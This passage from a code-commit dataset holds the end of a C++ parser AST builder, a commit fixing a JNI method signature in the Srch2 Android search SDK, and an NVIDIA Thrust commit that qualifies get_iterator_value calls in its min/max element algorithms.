getASTNode(rdcChildren[i], parent);\n\t\t\tif (result != NULL) {\n\t\t\t\tbreak;\n\t\t\t}\t\n\t\t }\n\t }  \n\t return result;\n }\n\n\n\/*!\n\t This method is usefull to create nodes in the tree for rules that\n\t have the following structure:\n\t NonTerminal1 ::= NonTerminalA NonTerminalB ... NonTerminal1\n\t\n\t (Note that left NonTerminal and the last non-terminal in the rule are the same)\n\t \/param children vector where the children will be added\n\t \/param reduction reduction tree where the list resides\n\t \/param nbrInsert specifies the number of children to insert in the vector. \n\t  Begining from the left of the rule.\n\t \/param nbrElements specifies the number of element in the \"iterative\" production.\n\t \/param parent Parent node, where the list will be hanging.\n *\/\n\n void ASTCreator::getASTNodeList (vector <ASTNode*> *children, \n    NonTerminal *reduction, int nbrInsert, int nbrElements, ASTNode *parent) {\n\t    integer i;\n\t    ASTNode *ast;\n\t    deque <Symbol*> rdcChildren = reduction->children;\n\t\n\t    int size = rdcChildren.size();\n\n\t    if (size > 0) {\n\t\t    if (size < nbrElements) {\n\t\t\t    for (i=0; i < rdcChildren.size(); i++) {\n\t\t\t\t    if (i < nbrInsert) {\n\t\t\t\t\t    \/\/ if we have a rule that produces a\n\t\t\t\t\t    \/\/ terminal symbol, we only get the node for this reduction\n\t\t\t\t\t    if (rdcChildren[i]->type == TERMINAL) {\n\t\t\t\t\t\t    ast = getASTNode (reduction, parent);\n\t\t\t\t\t    } else {\n\t\t\t\t\t\t    ast = getASTNode (rdcChildren[i], parent);\n\t\t\t\t\t    }\n\t\t\t\t\t    \/\/ Do not insert NULL childs\n\t\t\t\t\t    if (ast!=NULL) {\n\t\t\t\t\t\t    children->push_back(ast);\n\t\t\t\t\t    }\n\t\t\t\t    }\n\t\t\t    }\n\t\t    } else {\n\t\t\t\n            for (i=0; i < rdcChildren.size()-1; i++) {\n\t\t\t\tif (i < nbrInsert) {\n                    ast = getASTNode (rdcChildren[i], parent);\n\t                if (ast!=NULL) {\n\t\t\t\t\t\tchildren->push_back(ast);\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t}\n            if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t \t    getASTNodeList (children, (NonTerminal*) rdcChildren[i],\n\t\t \t    nbrInsert, nbrElements, parent);\n            }\n\t\t}\n\t}\n}\t\t\t\t\t\t\t\t\t   \n\t\t\t\t\t\t\t\t\t   \n \/*!\n\t This method is usefull to create nodes in the tree for rules that\n\t have the following structure:\n\t NonTerminal1 ::= NonTerminalA NonTerminalB ... NonTerminal1\n\t\n\t (Note that left NonTerminal and the last non-terminal in the rule are the same)\n\t \/param children vector where the children will be added\n\t \/param iterNode name of the Iterative node\n\t \/param reduction reduction tree where the list resides\n\t \/param nbrInsert specifies the number of children to insert in the vector. \n\t  Begining from the left of the rule.\n\t \/param nbrElements specifies the number of element in the \"iterative\" production.\n\t \/param parent Parent node, where the list will be hanging.\n *\/\n void ASTCreator::getASTNodeList (vector <ASTNode*> *children, wstring iterNode,\n\t              NonTerminal *reduction, int nbrInsert, int nbrElements, ASTNode *parent) {\n\tinteger i;\n\tASTNode *ast;\n\n\twstring sym = reduction->symbol;\n\n\tdeque <Symbol*> rdcChildren = reduction->children;\n\tif (sym == iterNode) {\n\t\tint size = rdcChildren.size();\n\t\tif (size > 0) {\n\t\t\tif (size < nbrElements) {\n\t\t\t\tfor (i=0; i < rdcChildren.size(); i++) {\n\t\t\t\t\tif (i < nbrInsert) {\n\t\t\t\t\t\t\/\/ if we have a rule that produces a\n\t\t\t\t\t\t\/\/ terminal symbol, we only get the node for this reduction\n\t\t\t\t\t\tif (rdcChildren[i]->type == TERMINAL) {\n\t\t\t\t\t\t\tast = getASTNode (reduction,parent);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tast = getASTNode (rdcChildren[i],parent);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\/\/ Do not insert NULL childs\n\t\t\t\t\t\tif (ast!=NULL) {\n\t\t\t\t\t\t\tchildren->push_back(ast);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor (i=0; i < rdcChildren.size()-1; i++) {\n\t\t\t\t\tif (i < nbrInsert) {\n\t\t\t\t\t\t\/\/ Do not insert NULL childs\n                        if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t\t\t\t\t    ast = getASTNode (rdcChildren[i], parent);\n                        } else {\n                            ast = NULL;\n                        }\n\n                        if (ast!=NULL) {\n\t\t\t\t\t\t\tchildren->push_back(ast);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n                if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t   \t\t    getASTNodeList (children, iterNode, (NonTerminal*) rdcChildren[i],\n                                    nbrInsert, nbrElements, parent);\n                }\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\t\/\/ If this is not the iterNode then we just push this node as a child.\n\t\tast = getASTNode (reduction, parent);\n\t\tchildren->push_back(ast);\n\t}\n}\n \n<|endoftext|>"}
{"text":"<commit_before>#include \"Srch2Android.h\"\n#include \"util\/Logger.h\"\n\nusing namespace srch2::sdk;\nusing srch2::util::Logger;\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT void Java_com_srch2_mobile_ndksearch_Srch2Lib_setLoggerFile(\n\t\tJNIEnv* env, jobject javaThis, jstring logfile) {\n\tconst char *nativeStringLogFile = env->GetStringUTFChars(logfile, NULL);\n\tFILE* fpLog = fopen(nativeStringLogFile, \"a\");\n\tLogger::setOutputFile(fpLog);\n\tenv->ReleaseStringUTFChars(logfile, nativeStringLogFile);\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT jlong Java_com_srch2_mobile_ndksearch_Srch2Lib_createIndex(\n\t\tJNIEnv* env, jobject javaThis, jstring testFile, jstring indexDir,\n\t\tjint lineLimit, jboolean isGeo) {\n\tLogger::console(\"createIndex\");\n\tconst char *nativeStringDataFile = env->GetStringUTFChars(testFile, NULL);\n\tconst char *nativeStringIndexPath = env->GetStringUTFChars(indexDir, NULL);\n\n\tstring strIndexPath(nativeStringIndexPath);\n\tstring strTestFile(nativeStringDataFile);\n\n\tsrch2::instantsearch::TermType termType = PREFIX;\n\n\tLogger::console(\"Read data from %s\", strTestFile.c_str());\n\tLogger::console(\"Save index to %s\", strIndexPath.c_str());\n\n\tIndexer* indexer = createIndex(strTestFile, strIndexPath, lineLimit, isGeo);\n\n\tenv->ReleaseStringUTFChars(testFile, nativeStringDataFile);\n\tenv->ReleaseStringUTFChars(indexDir, nativeStringIndexPath);\n\tlong ptr = (long) indexer;\n\tLogger::console(\"createIndex done\");\n\treturn ptr;\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT jlong Java_com_srch2_mobile_ndksearch_Srch2Lib_loadIndex(JNIEnv* env,\n\t\tjobject javaThis, jstring indexDir) {\n\tLogger::console(\"loadIndex\");\n\tconst char *nativeStringIndexPath = env->GetStringUTFChars(indexDir, NULL);\n\tstring strIndexDir(nativeStringIndexPath);\n\n\tLogger::console(\"Load index from %s\", strIndexDir.c_str());\n\tIndexer* indexer = loadIndex(strIndexDir);\n\tenv->ReleaseStringUTFChars(indexDir, nativeStringIndexPath);\n\tlong ptr = (long) indexer;\n\tLogger::console(\"loadIndex done\");\n\treturn ptr;\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT void Java_com_srch2_mobile_ndksearch_Srch2Lib_saveIndex(\n\t\tjlong ptr) {\n\tLogger::console(\"saveIndex\");\n\tIndexer* index = (Indexer*)ptr;\n\tsaveIndex(index);\n\tLogger::console(\"saveIndex done\");\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT void Java_com_srch2_mobile_ndksearch_Srch2Lib_query(JNIEnv* env,\n\t\tjobject javaThis, jlong index, jstring queryStr, jboolean isGeo) {\n\n}\n#ifdef __cplusplus\n}\n#endif\n<commit_msg>make sdk work on Android<commit_after>#include \"Srch2Android.h\"\n#include \"util\/Logger.h\"\n\nusing namespace srch2::sdk;\nusing srch2::util::Logger;\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT void Java_com_srch2_mobile_ndksearch_Srch2Lib_setLoggerFile(\n\t\tJNIEnv* env, jobject javaThis, jstring logfile) {\n\tconst char *nativeStringLogFile = env->GetStringUTFChars(logfile, NULL);\n\tFILE* fpLog = fopen(nativeStringLogFile, \"a\");\n\tLogger::setOutputFile(fpLog);\n\tenv->ReleaseStringUTFChars(logfile, nativeStringLogFile);\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT jlong Java_com_srch2_mobile_ndksearch_Srch2Lib_createIndex(\n\t\tJNIEnv* env, jobject javaThis, jstring testFile, jstring indexDir,\n\t\tjint lineLimit, jboolean isGeo) {\n\tLogger::console(\"createIndex\");\n\tconst char *nativeStringDataFile = env->GetStringUTFChars(testFile, NULL);\n\tconst char *nativeStringIndexPath = env->GetStringUTFChars(indexDir, NULL);\n\n\tstring strIndexPath(nativeStringIndexPath);\n\tstring strTestFile(nativeStringDataFile);\n\n\tsrch2::instantsearch::TermType termType = PREFIX;\n\n\tLogger::console(\"Read data from %s\", strTestFile.c_str());\n\tLogger::console(\"Save index to %s\", strIndexPath.c_str());\n\n\tIndexer* indexer = createIndex(strTestFile, strIndexPath, lineLimit, isGeo);\n\n\tenv->ReleaseStringUTFChars(testFile, nativeStringDataFile);\n\tenv->ReleaseStringUTFChars(indexDir, nativeStringIndexPath);\n\tlong ptr = (long) indexer;\n\tLogger::console(\"createIndex done\");\n\treturn ptr;\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT jlong Java_com_srch2_mobile_ndksearch_Srch2Lib_loadIndex(JNIEnv* env,\n\t\tjobject javaThis, jstring indexDir) {\n\tLogger::console(\"loadIndex\");\n\tconst char *nativeStringIndexPath = env->GetStringUTFChars(indexDir, NULL);\n\tstring strIndexDir(nativeStringIndexPath);\n\n\tLogger::console(\"Load index from %s\", strIndexDir.c_str());\n\tIndexer* indexer = loadIndex(strIndexDir);\n\tenv->ReleaseStringUTFChars(indexDir, nativeStringIndexPath);\n\tlong ptr = (long) indexer;\n\tLogger::console(\"loadIndex done\");\n\treturn ptr;\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT void Java_com_srch2_mobile_ndksearch_Srch2Lib_saveIndex(JNIEnv* env,\n\t\tjobject javaThis, jlong ptr) {\n\tLogger::console(\"saveIndex\");\n\tIndexer* index = (Indexer*) ptr;\n\tsaveIndex(index);\n\tLogger::console(\"saveIndex done\");\n}\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nJNIEXPORT void Java_com_srch2_mobile_ndksearch_Srch2Lib_query(JNIEnv* env,\n\t\tjobject javaThis, jlong index, jstring queryStr, jboolean isGeo) {\n\n}\n#ifdef __cplusplus\n}\n#endif\n\n\/\/TODO: delete the index\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright 2008-2013 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n\n\/*! \\file distance.h\n *  \\brief Device implementations for distance.\n *\/\n\n#pragma once\n\n#include <thrust\/detail\/config.h>\n#include <thrust\/detail\/get_iterator_value.h>\n#include <thrust\/extrema.h>\n#include <thrust\/functional.h>\n#include <thrust\/pair.h>\n#include <thrust\/reduce.h>\n#include <thrust\/transform_reduce.h>\n\n#include <thrust\/iterator\/iterator_traits.h>\n#include <thrust\/iterator\/counting_iterator.h>\n#include <thrust\/iterator\/zip_iterator.h>\n\nnamespace thrust\n{\nnamespace system\n{\nnamespace detail\n{\nnamespace generic\n{\nnamespace detail\n{\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Functors \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\n\/\/ return the smaller\/larger element making sure to prefer the \n\/\/ first occurance of the minimum\/maximum element\ntemplate <typename InputType, typename IndexType, typename BinaryPredicate>\nstruct min_element_reduction\n{\n  BinaryPredicate comp;\n\n  __host__ __device__ \n  min_element_reduction(BinaryPredicate comp) : comp(comp){}\n\n  __host__ __device__ \n  thrust::tuple<InputType, IndexType>\n  operator()(const thrust::tuple<InputType, IndexType>& lhs, \n             const thrust::tuple<InputType, IndexType>& rhs )\n  {\n    if(comp(thrust::get<0>(lhs), thrust::get<0>(rhs)))\n      return lhs;\n    if(comp(thrust::get<0>(rhs), thrust::get<0>(lhs)))\n      return rhs;\n\n    \/\/ values are equivalent, prefer value with smaller index\n    if(thrust::get<1>(lhs) < thrust::get<1>(rhs))\n      return lhs;\n    else\n      return rhs;\n  } \/\/ end operator()()\n}; \/\/ end min_element_reduction\n\n\ntemplate <typename InputType, typename IndexType, typename BinaryPredicate>\nstruct max_element_reduction\n{\n  BinaryPredicate comp;\n\n  __host__ __device__ \n  max_element_reduction(BinaryPredicate comp) : comp(comp){}\n\n  __host__ __device__ \n  thrust::tuple<InputType, IndexType>\n  operator()(const thrust::tuple<InputType, IndexType>& lhs, \n             const thrust::tuple<InputType, IndexType>& rhs )\n  {\n    if(comp(thrust::get<0>(lhs), thrust::get<0>(rhs)))\n      return rhs;\n    if(comp(thrust::get<0>(rhs), thrust::get<0>(lhs)))\n      return lhs;\n\n    \/\/ values are equivalent, prefer value with smaller index\n    if(thrust::get<1>(lhs) < thrust::get<1>(rhs))\n      return lhs;\n    else\n      return rhs;\n  } \/\/ end operator()()\n}; \/\/ end max_element_reduction\n\n\n\/\/ return the smaller & larger element making sure to prefer the \n\/\/ first occurance of the minimum\/maximum element\ntemplate <typename InputType, typename IndexType, typename BinaryPredicate>\nstruct minmax_element_reduction\n{\n  BinaryPredicate comp;\n\n  __host__ __device__\n  minmax_element_reduction(BinaryPredicate comp) : comp(comp){}\n\n  __host__ __device__ \n  thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >\n  operator()(const thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >& lhs, \n             const thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >& rhs )\n  {\n\n    return thrust::make_tuple(min_element_reduction<InputType, IndexType, BinaryPredicate>(comp)(thrust::get<0>(lhs), thrust::get<0>(rhs)),\n                              max_element_reduction<InputType, IndexType, BinaryPredicate>(comp)(thrust::get<1>(lhs), thrust::get<1>(rhs)));\n  } \/\/ end operator()()\n}; \/\/ end minmax_element_reduction\n\n\ntemplate <typename InputType, typename IndexType>\nstruct duplicate_tuple\n{\n  __host__ __device__ \n  thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >\n  operator()(const thrust::tuple<InputType,IndexType>& t)\n  {\n    return thrust::make_tuple(t, t);\n  }\n}; \/\/ end duplicate_tuple\n\n\n} \/\/ end namespace detail\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator>\n__host__ __device__\nForwardIterator min_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last)\n{\n  typedef typename thrust::iterator_value<ForwardIterator>::type value_type;\n\n  return thrust::min_element(exec, first, last, thrust::less<value_type>());\n} \/\/ end min_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator, typename BinaryPredicate>\n__host__ __device__\nForwardIterator min_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last,\n                            BinaryPredicate comp)\n{\n  if (first == last)\n    return last;\n\n  typedef typename thrust::iterator_traits<ForwardIterator>::value_type      InputType;\n  typedef typename thrust::iterator_traits<ForwardIterator>::difference_type IndexType;\n\n  thrust::tuple<InputType, IndexType> result =\n    thrust::reduce\n      (exec,\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))),\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))) + (last - first),\n       thrust::tuple<InputType, IndexType>(get_iterator_value(derived_cast(exec), first), 0),\n       detail::min_element_reduction<InputType, IndexType, BinaryPredicate>(comp));\n\n  return first + thrust::get<1>(result);\n} \/\/ end min_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator>\n__host__ __device__\nForwardIterator max_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last)\n{\n  typedef typename thrust::iterator_value<ForwardIterator>::type value_type;\n\n  return thrust::max_element(exec, first, last, thrust::less<value_type>());\n} \/\/ end max_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator, typename BinaryPredicate>\n__host__ __device__\nForwardIterator max_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last,\n                            BinaryPredicate comp)\n{\n  if (first == last)\n    return last;\n\n  typedef typename thrust::iterator_traits<ForwardIterator>::value_type      InputType;\n  typedef typename thrust::iterator_traits<ForwardIterator>::difference_type IndexType;\n\n  thrust::tuple<InputType, IndexType> result =\n    thrust::reduce\n      (exec,\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))),\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))) + (last - first),\n       thrust::tuple<InputType, IndexType>(get_iterator_value(derived_cast(exec),first), 0),\n       detail::max_element_reduction<InputType, IndexType, BinaryPredicate>(comp));\n\n  return first + thrust::get<1>(result);\n} \/\/ end max_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator>\n__host__ __device__\nthrust::pair<ForwardIterator,ForwardIterator> minmax_element(thrust::execution_policy<DerivedPolicy> &exec,\n                                                             ForwardIterator first, \n                                                             ForwardIterator last)\n{\n  typedef typename thrust::iterator_value<ForwardIterator>::type value_type;\n\n  return thrust::minmax_element(exec, first, last, thrust::less<value_type>());\n} \/\/ end minmax_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator, typename BinaryPredicate>\n__host__ __device__\nthrust::pair<ForwardIterator,ForwardIterator> minmax_element(thrust::execution_policy<DerivedPolicy> &exec,\n                                                             ForwardIterator first, \n                                                             ForwardIterator last,\n                                                             BinaryPredicate comp)\n{\n  if (first == last)\n    return thrust::make_pair(last, last);\n\n  typedef typename thrust::iterator_traits<ForwardIterator>::value_type      InputType;\n  typedef typename thrust::iterator_traits<ForwardIterator>::difference_type IndexType;\n\n  thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> > result = \n    thrust::transform_reduce\n      (exec,\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))),\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))) + (last - first),\n       detail::duplicate_tuple<InputType, IndexType>(),\n       detail::duplicate_tuple<InputType, IndexType>()(\n         thrust::tuple<InputType, IndexType>(get_iterator_value(derived_cast(exec),first), 0)),\n       detail::minmax_element_reduction<InputType, IndexType, BinaryPredicate>(comp));\n\n  return thrust::make_pair(first + thrust::get<1>(thrust::get<0>(result)), first + thrust::get<1>(thrust::get<1>(result)));\n} \/\/ end minmax_element()\n\n\n} \/\/ end namespace generic\n} \/\/ end namespace detail\n} \/\/ end namespace system\n} \/\/ end namespace thrust\n\n<commit_msg>invoke get_iterator_value via thrust::detail::get_iterator_value<commit_after>\/*\n *  Copyright 2008-2013 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n\n\/*! \\file distance.h\n *  \\brief Device implementations for distance.\n *\/\n\n#pragma once\n\n#include <thrust\/detail\/config.h>\n#include <thrust\/detail\/get_iterator_value.h>\n#include <thrust\/extrema.h>\n#include <thrust\/functional.h>\n#include <thrust\/pair.h>\n#include <thrust\/reduce.h>\n#include <thrust\/transform_reduce.h>\n\n#include <thrust\/iterator\/iterator_traits.h>\n#include <thrust\/iterator\/counting_iterator.h>\n#include <thrust\/iterator\/zip_iterator.h>\n\nnamespace thrust\n{\nnamespace system\n{\nnamespace detail\n{\nnamespace generic\n{\nnamespace detail\n{\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Functors \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\n\/\/ return the smaller\/larger element making sure to prefer the \n\/\/ first occurance of the minimum\/maximum element\ntemplate <typename InputType, typename IndexType, typename BinaryPredicate>\nstruct min_element_reduction\n{\n  BinaryPredicate comp;\n\n  __host__ __device__ \n  min_element_reduction(BinaryPredicate comp) : comp(comp){}\n\n  __host__ __device__ \n  thrust::tuple<InputType, IndexType>\n  operator()(const thrust::tuple<InputType, IndexType>& lhs, \n             const thrust::tuple<InputType, IndexType>& rhs )\n  {\n    if(comp(thrust::get<0>(lhs), thrust::get<0>(rhs)))\n      return lhs;\n    if(comp(thrust::get<0>(rhs), thrust::get<0>(lhs)))\n      return rhs;\n\n    \/\/ values are equivalent, prefer value with smaller index\n    if(thrust::get<1>(lhs) < thrust::get<1>(rhs))\n      return lhs;\n    else\n      return rhs;\n  } \/\/ end operator()()\n}; \/\/ end min_element_reduction\n\n\ntemplate <typename InputType, typename IndexType, typename BinaryPredicate>\nstruct max_element_reduction\n{\n  BinaryPredicate comp;\n\n  __host__ __device__ \n  max_element_reduction(BinaryPredicate comp) : comp(comp){}\n\n  __host__ __device__ \n  thrust::tuple<InputType, IndexType>\n  operator()(const thrust::tuple<InputType, IndexType>& lhs, \n             const thrust::tuple<InputType, IndexType>& rhs )\n  {\n    if(comp(thrust::get<0>(lhs), thrust::get<0>(rhs)))\n      return rhs;\n    if(comp(thrust::get<0>(rhs), thrust::get<0>(lhs)))\n      return lhs;\n\n    \/\/ values are equivalent, prefer value with smaller index\n    if(thrust::get<1>(lhs) < thrust::get<1>(rhs))\n      return lhs;\n    else\n      return rhs;\n  } \/\/ end operator()()\n}; \/\/ end max_element_reduction\n\n\n\/\/ return the smaller & larger element making sure to prefer the \n\/\/ first occurance of the minimum\/maximum element\ntemplate <typename InputType, typename IndexType, typename BinaryPredicate>\nstruct minmax_element_reduction\n{\n  BinaryPredicate comp;\n\n  __host__ __device__\n  minmax_element_reduction(BinaryPredicate comp) : comp(comp){}\n\n  __host__ __device__ \n  thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >\n  operator()(const thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >& lhs, \n             const thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >& rhs )\n  {\n\n    return thrust::make_tuple(min_element_reduction<InputType, IndexType, BinaryPredicate>(comp)(thrust::get<0>(lhs), thrust::get<0>(rhs)),\n                              max_element_reduction<InputType, IndexType, BinaryPredicate>(comp)(thrust::get<1>(lhs), thrust::get<1>(rhs)));\n  } \/\/ end operator()()\n}; \/\/ end minmax_element_reduction\n\n\ntemplate <typename InputType, typename IndexType>\nstruct duplicate_tuple\n{\n  __host__ __device__ \n  thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> >\n  operator()(const thrust::tuple<InputType,IndexType>& t)\n  {\n    return thrust::make_tuple(t, t);\n  }\n}; \/\/ end duplicate_tuple\n\n\n} \/\/ end namespace detail\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator>\n__host__ __device__\nForwardIterator min_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last)\n{\n  typedef typename thrust::iterator_value<ForwardIterator>::type value_type;\n\n  return thrust::min_element(exec, first, last, thrust::less<value_type>());\n} \/\/ end min_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator, typename BinaryPredicate>\n__host__ __device__\nForwardIterator min_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last,\n                            BinaryPredicate comp)\n{\n  if (first == last)\n    return last;\n\n  typedef typename thrust::iterator_traits<ForwardIterator>::value_type      InputType;\n  typedef typename thrust::iterator_traits<ForwardIterator>::difference_type IndexType;\n\n  thrust::tuple<InputType, IndexType> result =\n    thrust::reduce\n      (exec,\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))),\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))) + (last - first),\n       thrust::tuple<InputType, IndexType>(thrust::detail::get_iterator_value(derived_cast(exec), first), 0),\n       detail::min_element_reduction<InputType, IndexType, BinaryPredicate>(comp));\n\n  return first + thrust::get<1>(result);\n} \/\/ end min_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator>\n__host__ __device__\nForwardIterator max_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last)\n{\n  typedef typename thrust::iterator_value<ForwardIterator>::type value_type;\n\n  return thrust::max_element(exec, first, last, thrust::less<value_type>());\n} \/\/ end max_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator, typename BinaryPredicate>\n__host__ __device__\nForwardIterator max_element(thrust::execution_policy<DerivedPolicy> &exec,\n                            ForwardIterator first,\n                            ForwardIterator last,\n                            BinaryPredicate comp)\n{\n  if (first == last)\n    return last;\n\n  typedef typename thrust::iterator_traits<ForwardIterator>::value_type      InputType;\n  typedef typename thrust::iterator_traits<ForwardIterator>::difference_type IndexType;\n\n  thrust::tuple<InputType, IndexType> result =\n    thrust::reduce\n      (exec,\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))),\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))) + (last - first),\n       thrust::tuple<InputType, IndexType>(thrust::detail::get_iterator_value(derived_cast(exec),first), 0),\n       detail::max_element_reduction<InputType, IndexType, BinaryPredicate>(comp));\n\n  return first + thrust::get<1>(result);\n} \/\/ end max_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator>\n__host__ __device__\nthrust::pair<ForwardIterator,ForwardIterator> minmax_element(thrust::execution_policy<DerivedPolicy> &exec,\n                                                             ForwardIterator first, \n                                                             ForwardIterator last)\n{\n  typedef typename thrust::iterator_value<ForwardIterator>::type value_type;\n\n  return thrust::minmax_element(exec, first, last, thrust::less<value_type>());\n} \/\/ end minmax_element()\n\n\ntemplate <typename DerivedPolicy, typename ForwardIterator, typename BinaryPredicate>\n__host__ __device__\nthrust::pair<ForwardIterator,ForwardIterator> minmax_element(thrust::execution_policy<DerivedPolicy> &exec,\n                                                             ForwardIterator first, \n                                                             ForwardIterator last,\n                                                             BinaryPredicate comp)\n{\n  if (first == last)\n    return thrust::make_pair(last, last);\n\n  typedef typename thrust::iterator_traits<ForwardIterator>::value_type      InputType;\n  typedef typename thrust::iterator_traits<ForwardIterator>::difference_type IndexType;\n\n  thrust::tuple< thrust::tuple<InputType,IndexType>, thrust::tuple<InputType,IndexType> > result = \n    thrust::transform_reduce\n      (exec,\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))),\n       thrust::make_zip_iterator(thrust::make_tuple(first, thrust::counting_iterator<IndexType>(0))) + (last - first),\n       detail::duplicate_tuple<InputType, IndexType>(),\n       detail::duplicate_tuple<InputType, IndexType>()(\n         thrust::tuple<InputType, IndexType>(thrust::detail::get_iterator_value(derived_cast(exec),first), 0)),\n       detail::minmax_element_reduction<InputType, IndexType, BinaryPredicate>(comp));\n\n  return thrust::make_pair(first + thrust::get<1>(thrust::get<0>(result)), first + thrust::get<1>(thrust::get<1>(result)));\n} \/\/ end minmax_element()\n\n\n} \/\/ end namespace generic\n} \/\/ end namespace detail\n} \/\/ end namespace system\n} \/\/ end namespace thrust\n\n<|endoftext|>"}
